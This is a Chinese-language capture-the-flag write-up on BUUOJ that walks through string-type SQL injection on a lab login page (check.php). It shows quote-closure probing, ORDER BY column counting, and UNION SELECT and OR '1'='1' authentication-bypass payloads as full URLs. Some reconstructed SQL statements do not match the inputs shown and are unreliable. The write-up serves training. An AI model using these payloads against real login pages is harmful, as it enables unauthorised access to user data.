题目链接

  1. 我们输入

    http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin' and password=13123
    

    响应为如下,提示我们输入password,看似url中查询了password,但是因为这是一个字符型注入,后台url转为

    SELECT * FROM users WHERE username='admin AND password=13123';
    

    将'admin AND password=13123'看为一个整体作为username了

    img

  2. 下面我们使用&,我们输入

    http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin"&password=13123
    不报错
    

    原sql语句为

    SELECT * FROM users WHERE username='admin"' AND password='13123';
    

    没有出现报错,&符号可以正确的将username和password理解为两个不同的查询变量。
    但是输入

    http://643dcead-c254-412c-a4fe-5787862bbf9e.node5.buuoj.cn:81/check.php?username=admin&password='13123'
    报错
    

    原sql语句为

    SELECT * FROM users WHERE username='admin' AND password=''13123'';
    因为闭合符号为',系统首先会检查到与第一个'最近的',然后把其中包括的字符串当做变量的值。如上面的查询语句,是一个闭合的空串,然后检查13123'此时发现前面没有闭合的'就会报错
    

    这说明了注入方式为字符型注入,而且闭合符号为'

    再比如输入url为

    http://9f0323e3-4279-43a9-beee-e731decc5802.node5.buuoj.cn:81/check.php?username=admin''&password=asddaw
    

    原sql语句为

    SELECT * FROM users WHERE username='admin''' AND password='"123"';
    

    此时两个连续的''会被转义为一个',注意转义后的'已经不是闭合符号了,仅仅作为一个字符',最后查询的是username=admin'。

  3. 查找表的列数
    使用order by进行试探,%23是#,我们直接输入#没有作用的时候可以用%23

    http://f0cffece-3af3-4d0c-96c2-29abfb74abf6.node5.buuoj.cn:81/check.php?username=admin&password=1231' order by 3 %23 
    

    一共有3列

  4. 开始强行查询

    方法一:
    进行union,联合查询,如果查询到username=admin和password=dawdwa就会回显,查不到则回显
    1,2,3共三列

    http://4df54dd7-9cfc-4013-9520-38350ad3f2d6.node5.buuoj.cn:81/check.php
    ?username=admin
    &password=dawdwa' union select 1,2,3 %23
    

    方法二:
    也可以使用or,让查询始终为真,从而查询到后台数据

    http://4df54dd7-9cfc-4013-9520-38350ad3f2d6.node5.buuoj.cn:81/check.php
    ?username=admin
    &password=dawdwa' or '1'='1' %23
    
posted on 2024-09-05 23:33  郭子谊  阅读(31)  评论(0)    收藏  举报